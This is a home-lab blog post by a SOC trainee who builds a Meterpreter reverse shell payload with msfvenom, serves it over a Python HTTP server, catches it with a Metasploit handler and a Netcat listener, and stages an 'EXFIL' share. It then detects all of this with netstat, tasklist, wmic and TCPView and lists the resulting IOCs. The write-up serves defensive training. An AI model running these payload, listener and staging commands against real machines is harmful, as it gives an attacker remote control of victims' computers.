Simulating a Reverse Shell Attack. A SOC Analyst’s Perspective

How I Built, Deployed, and Detected a Meterpreter Payload in My Home Lab

I spent a weekend playing both sides of a cyberattack — and it was one of the most eye-opening things I’ve done in my SOC training so far.

The goal was simple: set up a reverse shell attack from scratch, let it run, then put on my blue team hat and figure out exactly how a SOC analyst would catch it. What surprised me was how fast the detection was once you know what to look for.

Here’s the full walkthrough.

⚠️ Everything here was done in a private, isolated home lab for educational purposes. These techniques are documented for defensive awareness only.

The Lab Setup

• Attacker machine: Ubuntu Linux — 192.168.1.3
• Victim machine: Windows 10
• Tools: Metasploit, msfvenom, Python HTTP server, TCPView, netstat, wmic, tasklist

Step 1: Crafting the Payload

The first thing I needed was a malicious executable. msfvenom makes this almost uncomfortably easy:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f exe -o notmalware.exe

Breaking down what’s actually happening here:

• -p windows/meterpreter/reverse_tcp — a Meterpreter reverse TCP shell for Windows
• LHOST=192.168.1.3 — the attacker's IP, where the victim will call back to
• LPORT=4444 — the port we're listening on
• -f exe — package it as a Windows executable
• -o notmalware.exe — the filename (yes, I named it this on purpose)

The key insight: because the victim initiates the outbound connection, most inbound firewall rules do nothing to stop it. This is exactly why egress filtering matters.

Step 2: Delivering the Payload

One line spins up a delivery server:

python3 -m http.server 80

In a real attack, this could be a phishing link, a compromised site, or a file-sharing platform. In my lab, the victim just browses to the attacker’s IP and downloads the file. Clean and depressingly realistic.

Step 3: Setting Up the Listener

While the victim-side payload sits waiting, the attacker opens Metasploit and sets up a handler to catch the incoming connection:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST enp0s3
set LPORT 4444
exploit

# [*] Started reverse TCP handler on 192.168.1.3:4444

The moment the victim runsnotmalware.exe, a full interactive Meterpreter session opens. Game over — from the attacker's perspective.

Step 4: What the Attacker Does Next

With an active session, I dropped to a system shell and simulated data staging:

net share EXFIL=C:\Users\Public /grant:everyone,full

This creates a network share accessible to anyone — a common technique for collecting stolen data before sending it out.

I also tested a second reverse shell using a Base64-encoded PowerShell command (generated from revshells.com) caught with a Netcat listener on port 3333:

nc -lvnp 3333

Two different shells, two different ports, same compromised machine. This matters for detecting different attack chains that leave different fingerprints.

The Blue Team Part: How You Actually Catch This

This is where it gets interesting. Here are the exact commands I used to detect everything I’d just done.

1. Spot the C2 connection with netstat

netstat -anob

This surfaced an ESTABLISHED TCP connection from notmalware.exe (PID 8432) back to 192.168.1.3:4444. The process name, PID, remote IP, and port are all right there. Document all of it — those are your IOCs.

2. Inspect loaded DLLs with tasklist

tasklist /FI "PID eq 8432" /M

This lists every DLL loaded by the suspicious process. Injected or reflectively loaded modules will appear here — a big red flag if you see something unexpected.

3. Find the parent process with wmic

wmic process where processid=8432 get name, parentprocessid, processid

Knowing what spawned the malware tells you the infection vector. Was it a browser? A script? A document? This single command often tells the whole story.

4. Uncover the obfuscated command

wmic process where processid=[PID] get commandline

For the PowerShell reverse shell, this returned the full Base64-encoded command. Paste it into CyberChef, decode it, and the attacker’s IP and port are right there in plaintext.

5. Visual confirmation with TCPView

TCPView (Sysinternals) shows the same connection in a real-time GUI — color-coded green when it first appears, with the process name, PID, and remote endpoint all visible at a glance. You can terminate the connection or kill the process directly from the interface without touching the command line.

IOCs From This Lab

TypeValueMalicious executablenotmalware.exeProcess ID8432Attacker IP192.168.1.3C2 Ports4444 (Meterpreter), 3333 (Netcat)ProtocolTCPSuspicious shareEXFIL on C:\Users\PublicPayloadwindows/meterpreter/reverse_tcp

What This Actually Taught Me

A few things stuck with me after doing this:

Reverse shells are hard to block at the network level. Because the victim initiates the connection outbound, traditional inbound firewall rules are useless. Egress filtering and network behavioral monitoring are what actually catch this.

Built-in Windows tools are underrated. netstat, tasklist, and wmic require zero installation and work even in locked-down environments. Before reaching for an EDR or SIEM, know these inside and out.

Detection is fast, correlation is the hard part. I found the malicious process in under a minute on one machine. In a real SOC, you’re doing this across hundreds of machines simultaneously, with alert fatigue working against you. That’s the real challenge.

Document everything. Timestamps, PIDs, parent PIDs, command lines, network connections. An undocumented finding is a wasted finding — and potentially a missed piece of an incident timeline.

This lab is part of my SOC 101 training series. More walkthroughs on blue team detection, DFIR, and threat hunting coming soon.

#CyberSecurity #SOC #BlueTeam #DFIR #Metasploit #ThreatDetection #Homelab #Infosec

